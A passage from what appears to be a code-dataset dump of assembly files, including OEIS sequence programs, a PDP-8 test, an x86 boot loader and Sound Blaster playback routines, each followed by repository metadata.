{'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 11, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 11, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 8, 'same': False}}
{'00': 15641}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
| 36.841808 | 2,999 | 0.657415 |
b35e25f4592074df8ea1eeaf5d93e7a3227cf08c | 1,231 | asm | Assembly | programs/oeis/213/A213370.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/213/A213370.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/213/A213370.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A213370: a(n) = n AND 2*n, where AND is the bitwise AND operator.
; Coded manually 2021-04-21 by Simon Strandgaard, https://github.com/neoneye
; 0,0,0,2,0,0,4,6,0,0,0,2,8,8,12,14,0,0,0,2,0,0,4,6,16,16,16,18,24,24,28,30,0,0,0,2,0,0,4,6,0,0,0,2,8,8,12,14,32,32,32,34,32,32,36,38,48,48,48,50,56,56,60,62,0,0,0,2,0,0,4,6,0,0,0,2,8,8,12,14,0,0,0,2,0,0,4,6,16,16,16,18,24,24,28,30,64,64,64,66,64,64,68,70,64,64,64,66,72,72,76,78,96,96,96,98,96,96,100,102,112,112,112,114,120,120,124,126,0,0,0,2,0,0,4,6,0,0,0,2,8,8,12,14,0,0,0,2,0,0,4,6,16,16,16,18,24,24,28,30,0,0,0,2,0,0,4,6,0,0,0,2,8,8,12,14,32,32,32,34,32,32,36,38,48,48,48,50,56,56,60,62,128,128,128,130,128,128,132,134,128,128,128,130,136,136,140,142,128,128,128,130,128,128,132,134,144,144,144,146,152,152,156,158,192,192,192,194,192,192,196,198,192,192,192,194,200,200,204,206,224,224,224,226,224,224,228,230,240,240
mul $0,2 ; Now $0 holds n*2.
mov $2,1 ; Inital scale factor
lpb $0
; Do bitwise AND with the lowest bit
mov $3,$0
div $0,2 ; Remove the lowest bit from n
mul $3,$0
mod $3,2
; Now $3 holds BIT1($0) & BIT0($0)
; Scale up the bit, and add to result
mul $3,$2
add $1,$3
mul $2,2 ; Double the scale factor. Example: 1,2,4,8,16,32
lpe
mov $0,$1
| 61.55 | 725 | 0.647441 |
18122d0332667081702bc009d6eddc0527d1f59c | 514 | asm | Assembly | test/test2.asm | opengd/pdp8-midi | b34b081ae6f48a28a9907a63b8f3e922212dd504 | [
"MIT"
] | null | null | null | test/test2.asm | opengd/pdp8-midi | b34b081ae6f48a28a9907a63b8f3e922212dd504 | [
"MIT"
] | null | null | null | test/test2.asm | opengd/pdp8-midi | b34b081ae6f48a28a9907a63b8f3e922212dd504 | [
"MIT"
] | null | null | null | /PDP-8 test2.asm key buffer test
*200
START, CLA CLL
TAD BUFF
DCA BUFFPT
INPUT, KCC
JMS LISN
DCA HOLD
JMP OUTPUT
LISN, 0
KSF
JMP .-1
KRB
TLS
DCA I BUFFPT
TAD I BUFFPT
JMP I LISN
OUTPUT, 0
CLA CLL
TLS
TAD HOLD
JMS TYPE
JMP I [7600 /Exit program
TYPE, 0
TSF
JMP .-1
TLS
CLA CLL
JMP I TYPE
HOLD, 0
BUFF, 2000
BUFFPT, 0
K215, 215
| 15.117647 | 33 | 0.461089 |
74a4231b5fd85c6000ecb0a14ade8638dcf3af80 | 615 | asm | Assembly | oeis/107/A107987.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/107/A107987.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/107/A107987.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A107987: Odd composite numbers of the form p+2 where p is prime.
; Submitted by Jon Maiga
; 9,15,21,25,33,39,45,49,55,63,69,75,81,85,91,99,105,111,115,129,133,141,153,159,165,169,175,183,195,201,213,225,231,235,243,253,259,265,273,279,285,295,309,315,319,333,339,351,355,361,369,375,381,385,391,399,403,411,423,435,441,445,451,459,465,469,481,489,493,501,505,511,525,543,549,559,565,573,579,589,595,603,609,615,621,633,645,649,655,663,675,679,685,693,703,711,721,729,735,741
seq $0,136799 ; Last term in a sequence of at least 3 consecutive composite integers.
seq $0,326041 ; a(n) = sigma(A064989(n)).
add $0,1
| 76.875 | 384 | 0.730081 |
6d13c54081269b2f0da7bb7e99627f606237ba8d | 3,230 | asm | Assembly | ipl.asm | soyum2222/toyOS | e460ba47d5f371677f3f81942b47a28a88797061 | [
"MIT"
] | null | null | null | ipl.asm | soyum2222/toyOS | e460ba47d5f371677f3f81942b47a28a88797061 | [
"MIT"
] | null | null | null | ipl.asm | soyum2222/toyOS | e460ba47d5f371677f3f81942b47a28a88797061 | [
"MIT"
] | null | null | null | ; haribote-ipl ; TAB=4
ORG 0x7c5a
JMP entry
NOP
; DB "MSDOS5.0" ;OEM
; DW 0x200 ;Bytes_per_sector
; DB 8 ;Sectors_per_cluster
; DW 0x8F8 ;Reserved_sectors (2 - 2296可以使用)
; DB 2 ;Number_of_FATs
; DW 0 ;Root_entries
; DW 0 ;Sectors_small
; DB 0XF8 ;Media_descriptor
; DW 0 ;Number_of_FATs16
; DW 0x003F ;Sectors per track
; DW 255 ;Heads
; DD 0 ;Hidden sectors
; DD 0xEE8C00 ;Sectors total 32
;
; ;FAT32 SECTION
; DD 0x00003B84 ;Number of fat32
; DW 0 ;mirror flag
; DW 0 ;version
; DD 2 ;offclus_root
; DW 1 ;fsinfo
; DW 6 ;mbr backup
; RESB 12 ;fat32 reserverd
; DB 0x80 ;usb flag
; DB 0 ;fat16 reserverd
; DB 0x29 ;boot_sign
; DD 0x08F85C97 ;Volume id
; DB "NO NAME " ;Volume label
; DB "FAT32 " ;File system
;
entry:
mov ax,0
mov ss,ax
mov sp,0x7c00
mov ds,ax
mov es,ax
mov ax,0x0820
mov es,ax
;开始读磁盘
call rdisk
; mov ax,0x3030
; mov [0x08200],ax
; call wdisk
;
; mov ax,[0x08200]
; push ax
; call printHex
jmp 0x08200
LOOP:
hit
jmp LOOP
printHex:
;eg 0xff
;in ax reg 0000000011111111
;ah 00000000
;al 11111111
push bp
mov bp,sp
push ax
push bx
push cx
push dx
push si
mov si,0
mov cx , [bp+4]
mov dh,0xf0
.loop:
add si,1
mov al,ch
and al,dh
shr al,4
add al,0x90 ;Magic numbers
daa
;math amazing!!!
adc al,0x40
daa
mov ah,0x0e
mov bl,15
int 0x10
rol cx,4
cmp si,4
jne .loop
pop si
pop dx
pop cx
pop bx
pop ax
pop bp
ret
rdisk:
push ax
push bx
push cx
push dx
push si
mov cl,34 ;扇区
mov ch,0 ;柱面
mov DH,4 ;磁头
.loop
mov AH,0X02 ;ah 读磁盘
mov AL,1 ;1个扇区
mov DL,0X80 ;驱动器编号
mov bx,0
int 0x13
jnc .rdiskNextSector
push ax
call printHex
mov si,.rdiskErro
call print
ret
.rdiskErro
DB 0X0A
DB "load disk error"
DB 0
.rdiskSuccess
DB " sector load success"
DB 0X0A
DB 0
.rdiskNextSector:
push cx
call printHex
pop cx
mov si,.rdiskSuccess
call print
add cl,1
cmp cl,33
jnb .rdiskNextCylinder
mov ax,es
add ax,0x20
mov es,ax
jmp .loop
.rdiskNextCylinder
mov cl,1
add ch,1
cmp ch,0
jnb .rdiskRet
mov ax,es
add ax,0x20
mov es,ax
jmp .loop
.rdiskRet:
pop si
pop dx
pop cx
pop bx
pop ax
RET
print:
push bp
mov bp,sp
push ax
push bx
push cx
push dx
push si
.loop
mov al,[si]
add si,1
cmp al,0
JE .printret
mov ah,0X0E
mov bl,15
INT 0x10
JMP .loop
.printret:
call resetCur
pop si
pop dx
pop cx
pop bx
pop ax
pop bp
ret
wdisk:
push ax
push bx
push cx
push dx
; mov ah,0x03
; mov al,1
; mov ch,0
; mov cl,34
; mov dh,4
; mov bx,0
mov ah,0x03
mov al,1
mov ch,1
mov cl,1
mov dh,0
mov bx,0
int 0x13
jnc .ret
mov si,.wdiskErro
call print
.ret
pop dx
pop cx
pop bx
pop ax
ret
.wdiskErro
DB 0X0A
DB "load disk error"
DB 0
resetCur:
call getCurInfo
mov ah,0x02
mov bh,0
mov dl,0
int 0x10
ret
getCurInfo:
mov ah,0x03
mov bh,0
int 0x10
ret
msg:
DB 0X0A
DB 0X0A
DB "HELLO"
DB 0
RESB 0X1FE-0x5a-($-$$)
DB 0X55,0XAA
; RESB 0x7dfe-($-$$)
| 10.695364 | 47 | 0.600929 |
f64c22faf4552b3c173ca968a6b2ca606bd40b34 | 813 | asm | Assembly | programs/oeis/004/A004255.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/004/A004255.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/004/A004255.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A004255: n(n+1)(n^2 -3n + 6)/8.
; 1,3,9,25,60,126,238,414,675,1045,1551,2223,3094,4200,5580,7276,9333,11799,14725,18165,22176,26818,32154,38250,45175,53001,61803,71659,82650,94860,108376,123288,139689,157675,177345,198801,222148,247494,274950,304630,336651,371133,408199,447975,490590,536176,584868,636804,692125,750975,813501,879853,950184,1024650,1103410,1186626,1274463,1367089,1464675,1567395,1675426,1788948,1908144,2033200,2164305,2301651,2445433,2595849,2753100,2917390,3088926,3267918,3454579,3649125,3851775,4062751,4282278,4510584,4747900,4994460,5250501,5516263,5791989,6077925,6374320,6681426,6999498,7328794,7669575,8022105,8386651,8763483,9152874,9555100,9970440,10399176,10841593,11297979,11768625,12253825
mov $1,$0
lpb $1
add $3,$1
sub $1,1
add $2,$3
add $0,$2
sub $3,1
lpe
add $0,1
| 62.538462 | 689 | 0.794588 |
1dc65893f049b30b3ccb87606d26d631727a2b27 | 630 | asm | Assembly | oeis/200/A200724.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/200/A200724.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/200/A200724.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A200724: Expansion of 1/(1-35*x+x^2).
; Submitted by Jon Maiga
; 1,35,1224,42805,1496951,52350480,1830769849,64024594235,2239030028376,78302026398925,2738331893933999,95763314261291040,3348977667251252401,117118455039532542995,4095796948716387752424,143235774750034038791845,5009156319302474969962151,175177235400836589909883440,6126194082709978171875958249,214241615659448399425748655275,7492330353997984001729326976376,262017320774269991661100695517885,9163113896745451724136795016149599,320446969065316540353126724869718080
lpb $0
sub $0,1
add $3,1
mov $1,$3
mul $1,33
add $2,$1
add $3,$2
lpe
mov $0,$3
add $0,1
| 42 | 463 | 0.84127 |
a32f2a98a0974a5b94002933ca0d8827430682de | 433 | asm | Assembly | oeis/275/A275653.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/275/A275653.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/275/A275653.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A275653: a(n) = binomial(4*n,2*n)*binomial(3*n,2*n).
; Submitted by Jamie Morken(s1)
; 1,18,1050,77616,6370650,554822268,50199951984,4664758248000,442077195513690,42533571002422500,4141601026094832300,407220411993767798400,40363606408574136870000,4028061310168832261158176,404311537318239680601595200,40785601782042745410592271616
mov $1,$0
add $1,$0
add $1,$0
mov $2,$0
add $2,$1
bin $1,$0
mul $0,2
bin $2,$0
mul $1,$2
mov $0,$1
| 28.866667 | 245 | 0.773672 |
d01577a495b660cc07da1a6fc61b6bbe7ae97b8a | 11,580 | asm | Assembly | dos/sound/blaster.asm | michaelcmartin/bumbershoot | d465d18997c5651bb1d71488705b0d6e1271660c | [
"MIT"
] | 20 | 2016-06-22T10:04:48.000Z | 2022-03-13T23:16:10.000Z | dos/sound/blaster.asm | michaelcmartin/bumbershoot | d465d18997c5651bb1d71488705b0d6e1271660c | [
"MIT"
] | null | null | null | dos/sound/blaster.asm | michaelcmartin/bumbershoot | d465d18997c5651bb1d71488705b0d6e1271660c | [
"MIT"
] | 2 | 2016-12-19T02:31:06.000Z | 2020-02-04T02:56:27.000Z | ;;; ----- SOUND BLASTER SUPPORT ROUTINES -----
;;; These routines are intended to be easily lifted up and imported
;;; as bindings into other languages. These are the routines you'd
;;; most likely want to export.
;;;
;;; blast_reset: Initialize the Sound Blaster chip.
;;; Arguments: AX = base address (probably 0x220)
;;; BX = IRQ (probably 7, maybe 5)
;;; DX = DMA channel (probably 1)
;;; Returns: AX = 0 on failure, nonzero on success
;;; Trashes: BX, DX
blast_reset:
push cx
;; Validate address; must be of form 0x02n0 for some n
mov cx, ax
and cx, 0xFF0F
cmp cx, 0x200
jne .bad
;; Validate IRQ; Must be in the range 2-7
cmp bx, 7
ja .bad
cmp bx, 2
jb .bad
;; Validate DMA channel; Must be in the range 1-3
;; (The Sound Blaster 16 is permitted to use the
;; range from 5-7, but that's a sufficiently
;; alternate code path that I do not wish to
;; bother with it.)
cmp dx, 1
jb .bad
cmp dx, 3
ja .bad
;; If we made it this far, our config values are
;; safe, and we may store them.
mov [SOUNDBLASTER_BASE], ax
add ax, 6 ; 2x6h
mov [SOUNDBLASTER_RESET], ax
add ax, 4 ; 2xah
mov [SOUNDBLASTER_READ_DATA], ax
add ax, 2 ; 2xch
mov [SOUNDBLASTER_WRITE_DATA], ax
add ax, 2 ; 2xeh
mov [SOUNDBLASTER_DATA_AVAILABLE], ax
mov [SOUNDBLASTER_IRQ], bx
mov [SOUNDBLASTER_DMA], dx
xor ax, ax
mov [SOUNDBLASTER_SAMPLE_PLAYING], ax
mov al, 1
mov dx, [SOUNDBLASTER_RESET]
out dx, al
push dx
mov bx, 2
call tick_wait
pop dx
xor al, al
out dx, al
mov bx, 2
call tick_wait
mov dx, [SOUNDBLASTER_DATA_AVAILABLE]
in al, dx
test al, 0x80
jz .bad
mov dx, [SOUNDBLASTER_READ_DATA]
in al, dx
cmp al, 0xaa
je .ok
.bad: xor ax, ax
.ok: pop cx
ret
;;; blast_register: send a byte to the Sound Blaster data port.
;;; Arguments: AL = byte to send
;;; Trashes: DX
blast_register:
push ax
mov dx, [SOUNDBLASTER_WRITE_DATA]
.lp in al, dx ; Wait for data ready
test al, 0x80
jnz .lp
pop ax ; Then send the byte
out dx, al
ret
;;; blast_rate: configure sample playback rate.
;;; Arguments: AX = target sample rate (4000-23000)
;;; Returns: AX = 0 on error, AX nonzero on success
blast_rate:
push bx
push dx
cmp ax, 4000
jb .bad
cmp ax, 23000
ja .bad
mov bx, ax
mov al, 0x40
call blast_register
mov dx, 0x0f ; DX:AX = 1,000,000
mov ax, 0x4240
div bx
neg al
call blast_register
jmp .ok
.bad: xor ax, ax
.ok: pop dx
pop bx
ret
;;; blast_sample: configure and initiate DMA to the Sound Blaster
;;; Arguments: DX:AX = *ABSOLUTE* address of sample
;;; BL = Type of sample (0x14 = 8-bit LPCM)
;;; CX = size of the sound (0 = 64KB)
;;; Trashes: AX, BX, CX, DX
;;; WARNING: The whole transfer must all be part of the same
;;; DMA page (that is, the top 4 bits of the absolute
;;; address must never change).
;;; WARNING: The Sound Blaster will trigger its IRQ when the
;;; sound has been played. Acknowledging this IRQ is
;;; the job of the caller.
;;; WARNING: You must configure sample rate before calling this
;;; function.
blast_sample:
push bx
push dx
mov bx, ax
mov dx, [SOUNDBLASTER_DMA]
dec cx
mov al, 4
or al, dl
out 0x0a, al
xor al, al
out 0x0c, al
mov al, 0x48
or al, dl
out 0x0b, al
mov al, bl
shl dx, 1
out dx, al
mov al, bh
out dx, al
pop ax ; Was DX as passed in
push dx
shr dl, 1
add dl, 0x7f
cmp dl, 0x80 ; DMA Channel 1 is 0x83 instead
jnz .notdma1
mov dl, 0x83
.notdma1:
out 0x83, al
pop dx ; Was [SOUNDBLASTER_DMA] * 2
inc dx
mov al, cl
out dx, al
mov al, ch
out dx, al
mov ax, [SOUNDBLASTER_DMA]
out 0x0a, al
pop ax ; Was BX
call blast_register
mov al, cl
call blast_register
mov al, ch
call blast_register
ret
;;; blast_full_sample: play a standalone 8-bit LPCM sample
;;; Arguments: ES:AX = address of sample
;;; BX:CX = size of the sound
;;; Trashes: AX, BX, CX, DX
;;; WARNING: Assumes DS is sensible (which is to say, that
;;; this is a .COM file, or else a small/compact
;;; memory model).
blast_full_sample:
;; Abort if a sound is playing
cmp word [SOUNDBLASTER_SAMPLE_PLAYING], 0
jne .done
;; Store the arguments
mov [SOUNDBLASTER_SAMPLE_SIZE], cx
mov [SOUNDBLASTER_SAMPLE_SIZE+2], bx
mov dx, es
call absolute_address
mov [SOUNDBLASTER_SAMPLE_POINTER], ax
mov [SOUNDBLASTER_SAMPLE_POINTER+2], dx
;; Stash the original IRQ handler
push es
mov ax, 0x3508
add ax, [SOUNDBLASTER_IRQ]
int 21h
mov [SOUNDBLASTER_ORIGINAL_IRQ], bx
mov [SOUNDBLASTER_ORIGINAL_IRQ+2], es
mov cx, [SOUNDBLASTER_IRQ]
mov bx, 1
.svlp: shl bx, 1
loop .svlp
not bx
in al, 0x21
mov [SOUNDBLASTER_ORIGINAL_IRQ_MASK], ax
and ax, bx
out 0x21, al
pop es
;; Set the IRQ handler for this player
mov dx, .irqack
mov ax, 0x2508
add ax, [SOUNDBLASTER_IRQ]
int 21h
;; Compute the size of the first block of sound: either the
;; whole sample, or up to the page boundary.
mov cx, [SOUNDBLASTER_SAMPLE_POINTER]
add cx, [SOUNDBLASTER_SAMPLE_SIZE]
jc .getfirst
cmp word [SOUNDBLASTER_SAMPLE_SIZE+2], 0
je .oneval
.getfirst:
mov cx, [SOUNDBLASTER_SAMPLE_POINTER]
neg cx
jmp .startsound
.oneval:
mov cx, [SOUNDBLASTER_SAMPLE_SIZE]
.startsound:
mov bl, 0x14
mov [SOUNDBLASTER_SAMPLE_PLAYING], bl
mov ax, [SOUNDBLASTER_SAMPLE_POINTER]
mov dx, [SOUNDBLASTER_SAMPLE_POINTER+2]
;; Before we send off the sample, advance the pointers and
;; sample size.
sub [SOUNDBLASTER_SAMPLE_SIZE], cx
sbb word [SOUNDBLASTER_SAMPLE_SIZE+2], 0
add [SOUNDBLASTER_SAMPLE_POINTER], cx
adc word [SOUNDBLASTER_SAMPLE_POINTER+2], 0
call blast_sample
.lp: hlt
cmp word [SOUNDBLASTER_SAMPLE_PLAYING], 0
jne .lp
;; Restore original IRQ
mov ax, [SOUNDBLASTER_ORIGINAL_IRQ_MASK]
out 0x21, al
mov ax, 0x2508
add ax, [SOUNDBLASTER_IRQ]
push ds
lds dx, [SOUNDBLASTER_ORIGINAL_IRQ]
int 21h
pop ds
.done: ret
.irqack:
push dx
push cx
push bx
push ax
;; Is this a real interrupt?
cmp word [SOUNDBLASTER_SAMPLE_PLAYING], 0
jz .idone ; If not, just ack int and return
;; Load address of next sample component
mov ax, [SOUNDBLASTER_SAMPLE_POINTER]
mov dx, [SOUNDBLASTER_SAMPLE_POINTER+2]
;; How much is left to play?
cmp word [SOUNDBLASTER_SAMPLE_SIZE+2], 0
je .lastpage
;; More than 64KB left, so size is "0" and we advance
;; pointer and size a page each
xor cx, cx
inc word [SOUNDBLASTER_SAMPLE_POINTER+2]
dec word [SOUNDBLASTER_SAMPLE_SIZE+2]
jmp .sized
.lastpage:
mov cx, [SOUNDBLASTER_SAMPLE_SIZE]
or cx, cx
je .fin ; If 0 left, we're done!
;; Otherwise we'll be done next time
mov word [SOUNDBLASTER_SAMPLE_SIZE], 0
.sized: mov bl, 0x14 ; 8-bit PCM
call blast_sample
jmp .ack
;; Mark the playback complete
.fin: mov word [SOUNDBLASTER_SAMPLE_PLAYING], 0
;; Acknowledge interrupt to the soundblaster
.ack: mov dx, [SOUNDBLASTER_DATA_AVAILABLE]
in al, dx
;; Acknowledge interrupt to interrupt controller
.idone: mov al, 0x20
out 0x20, al
;; Restore registers, return from interrupt
pop ax
pop bx
pop cx
pop dx
iret
;;; ----- INTERNAL SUPPORT ROUTINES -----
;;; These routines are required by the Sound Blaster support routines
;;; but probably are not of use to clients of the library as a whole.
segment .bss
SOUNDBLASTER_BASE resb 2
SOUNDBLASTER_IRQ resb 2
SOUNDBLASTER_DMA resb 2
SOUNDBLASTER_RESET resb 2
SOUNDBLASTER_READ_DATA resb 2
SOUNDBLASTER_WRITE_DATA resb 2
SOUNDBLASTER_DATA_AVAILABLE resb 2
SOUNDBLASTER_SAMPLE_PLAYING resb 2
SOUNDBLASTER_ORIGINAL_IRQ resb 4
SOUNDBLASTER_ORIGINAL_IRQ_MASK resb 2
SOUNDBLASTER_SAMPLE_POINTER resb 4
SOUNDBLASTER_SAMPLE_SIZE resb 4
segment .text
;;; absolute_address: Compute the absolute address of DX:AX.
;;; Arguments: DX holds the segment, AX the offset.
;;; Returns: DX holds the page, AX the page's offset.
absolute_address:
push bx
push cx
xor bx, bx
mov cx, 4
.lp: clc
rcl dx, 1
rcl bx, 1
loop .lp
;; CX is 0 now, so that means that
;; CX:AX is the offset part of the address and
;; BX:DX is the segment as an absolute address (* 16)
add ax, dx ; Do a 32-bit add...
adc bx, cx
mov dx, bx ; ... and put the hiword in DX
pop cx
pop bx
ret
;;; tick_wait: Wait for the specified number of ticks of the system timer.
;;; Arguments: BX holds the number of ticks to wait.
tick_wait:
push ax
push bx
push cx
push dx
xor ax, ax
int 0x1a
add bx, dx
.lp: xor ax, ax
int 0x1a
cmp dx, bx
jne .lp
pop dx
pop cx
pop bx
pop ax
ret
| 33.085714 | 74 | 0.509931 |
c8f559f51a1a9ae3955c9724dd4480a3e87cc9ec | 102 | asm | Assembly | src/haip_controller/Debug/IOX.dxe.asm | Maracars/haip_controller | 18ad534d9e96c51ad75b2de63a4f4be825a6a635 | [
"MIT"
] | null | null | null | src/haip_controller/Debug/IOX.dxe.asm | Maracars/haip_controller | 18ad534d9e96c51ad75b2de63a4f4be825a6a635 | [
"MIT"
] | null | null | null | src/haip_controller/Debug/IOX.dxe.asm | Maracars/haip_controller | 18ad534d9e96c51ad75b2de63a4f4be825a6a635 | [
"MIT"
] | null | null | null | .section/data .executable_name;
.global __executable_name;
.BYTE __executable_name[] = 'IOX.dxe', 0;
| 20.4 | 41 | 0.754902 |
75318ab4865465f7ac0b12ba5cf68aaf1eb67c16 | 383 | asm | Assembly | programs/oeis/172/A172188.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/172/A172188.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/172/A172188.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A172188: Partial sums of primes of the form 3*k-1.
; 2,7,18,35,58,87,128,175,228,287,358,441,530,631,738,851,982,1119,1268,1435,1608,1787,1978,2175,2402,2635,2874,3125,3382,3645,3914,4195,4488,4799,5116,5463,5816,6175,6558,6947,7348,7767,8198,8641,9090,9551,10018
lpb $0
mov $2,$0
sub $0,1
seq $2,45410 ; Primes congruent to {3, 5} mod 6.
add $1,$2
lpe
add $1,2
mov $0,$1
| 31.916667 | 212 | 0.694517 |
51e6e13cd867d7967cb968cc2862486515ea3d3e | 1,492 | asm | Assembly | u7-common/patch-itemLabels.asm | JohnGlassmyer/UltimaHacks | f9a114e00c4a1edf1ac7792b465feff2c9b88ced | [
"MIT"
] | 68 | 2018-03-04T22:34:22.000Z | 2022-03-10T15:18:32.000Z | u7-common/patch-itemLabels.asm | ptrie/UltimaHacks | 2c3557a86d94ad8b54b26bc395b9aed1604f8be1 | [
"MIT"
